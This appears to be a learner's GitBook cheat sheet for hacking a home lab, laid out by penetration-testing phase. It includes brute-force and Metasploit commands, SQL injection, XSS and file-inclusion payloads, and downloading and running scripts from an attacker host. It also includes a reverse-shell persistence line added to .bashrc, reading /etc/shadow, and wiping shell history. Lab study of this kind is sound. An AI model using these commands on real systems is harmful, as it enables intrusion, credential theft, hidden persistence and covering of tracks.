> For the complete documentation index, see [llms.txt](https://mainekhacker-1.gitbook.io/mainekhacker/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mainekhacker-1.gitbook.io/mainekhacker/untitled/hacking-home-lab.md).

# Hacking Home Lab

## **PHASE 1: Reconnaissance (Know the Terrain):**

I have used these commands in this; I got to know that tools like dig,nslookup, and whois are used on a domain.

* Discover live hosts:

  ```bash

  arp-scan -l

  ```
* Identify host OS:

  ```bash
  nmap -O 192.168.1.100

  ```
* DNS, WHOIS (if applicable):

  ```bash
  dig, whois, nslookup

  ```

## Active Recon (Port Scanning):

Ok this is crazy because now I’ve scanned all ports of the target.

* Full port scan:

  ```bash
  nmap -p- -T4 192.168.1.100

  ```
* Service version detection:

  ```bash
  nmap -sV -sC -O 192.168.1.100
  ```
* Save result:

  ```bash
  nmap -sV -oA scan 192.168.1.100
  ```

## PHASE 2: Enumeration (Know the Weakness

#### **HTTP (Port 80/8080/other)**

* Manual browsing: `http://IP`
* Tools:

  ```bash
  whatweb <http://IP>
  nikto -h <http://IP>
  dirb <http://IP>
  gobuster dir -u <http://IP> -w /usr/share/wordlists/dirb/common.txt

  ```
* Vulnerability scanner:

  ```bash
  wapiti <http://IP>
  ```

***

#### 2. **FTP (Port 21)**

* Anonymous access:

  ```bash
  ftp ip
  ```
* Enum:

  ```bash
  nmap --script ftp-anon,ftp-bounce -p21 IP

  ```
* Brute force:

  ```bash
  hydra -l user -P rockyou.txt <ftp://IP>
  ```

***

#### 3. **SSH (Port 22)**

* Version check:

  ```bash
  nmap -sV -p22 IP

  ```
* Brute force:

  ```bash
  hydra -l root -P rockyou.txt ssh://IP

  ```
* Try default creds: `admin:admin`, `root:toor`, etc.

***

#### 4. **SMB (Port 445)**

* List shares:

  ```bash

  smbclient -L //IP

  ```
* Access share:

  ```bash

  smbclient //IP/share

  ```
* Enum tools:

  ```bash
  enum4linux-ng IP
  nmap --script smb-enum-shares,smb-enum-users -p445 IP

  ```

***

#### 5. **Other Possible Services**

If you find services like:

* **MySQL (3306)** → `mysql -u root -h IP -p`
* **Telnet (23)** → `telnet IP`
* **RDP (3389)** → `xfreerdp /u:USERNAME /p:PASSWORD /v:IP`

## PHASE 3: Exploitation (Break the System):

now what happen is i don’t got any thing from scanning from target but learn many things for it but learnt and got access to ssh only because of no live host on target machine so we don’t have any vuln in it.

#### ✅ Web Exploits

* SQL Injection: `sqlmap -u "<http://IP/vuln.php?id=1>" --dbs`
* File upload test (if upload feature exists)
* XSS: `<script>alert(1)</script>`
* LFI/RFI:

  ```bash
  <http://IP/index.php?page=../../../../etc/passwd>
  ```

#### ✅ Metasploit

* Use popular modules:

  ```bash
  msfconsole
  use exploit/unix/ftp/vsftpd_234_backdoor
  set RHOSTS IP
  run

  ```

#### ✅ Exploit DB & Searchsploit

* Search for CVEs:

  ```bash
  searchsploit service_name version
  ```

#### ✅ Custom Exploits

* Python, Bash, Perl scripts from <https://www.exploit-db.com/>
* Use `wget` or `curl` to download onto the target (if writable):

  ```bash
  wget http://ATTACKER_IP/script.sh
  ```

## 📈 PHASE 4: Privilege Escalation (Become Root):-

#### ✅ Linux Enum Scripts

* Run these on the target:

  ```bash
  wget <http://IP/LinEnum.sh> && bash LinEnum.sh
  ```

  or

  ```bash
  wget <http://IP/linpeas.sh> && bash linpeas.sh
  ```

#### ✅ Check:

* SUID binaries
* Writable `/etc/passwd`
* Crontabs
* Kernel exploits:

  Use `linux-exploit-suggester.sh`

## 📦 PHASE 5: Post-Exploitation:-

* Read user data: `cat /home/user/*`
* Extract password hashes: `cat /etc/shadow`
* Setup persistence:

  ```bash
  echo 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' >> ~/.bashrc

  ```
* Cover tracks:

  ```bash
  history -c
  rm ~/.bash_history

  ```

***

#### 🧪 Tools to Master

| Type                 | Tools                                                        |
| -------------------- | ------------------------------------------------------------ |
| Port Scanning        | `nmap`, `masscan`                                            |
| Web Analysis         | `nikto`, `dirb`, `gobuster`, `whatweb`, `sqlmap`             |
| Enumeration          | `enum4linux-ng`, `smbclient`, `ftp`, `hydra`, `ldapsearch`   |
| Exploitation         | `msfconsole`, `searchsploit`, `exploit-db`, `custom scripts` |
| Privilege Escalation | `linpeas.sh`, `LinEnum.sh`, `linux-exploit-suggester.sh`     |
| Post-Exploitation    | `netcat`, `socat`, `cronjobs`, `backdoors`                   |
|                      |                                                              |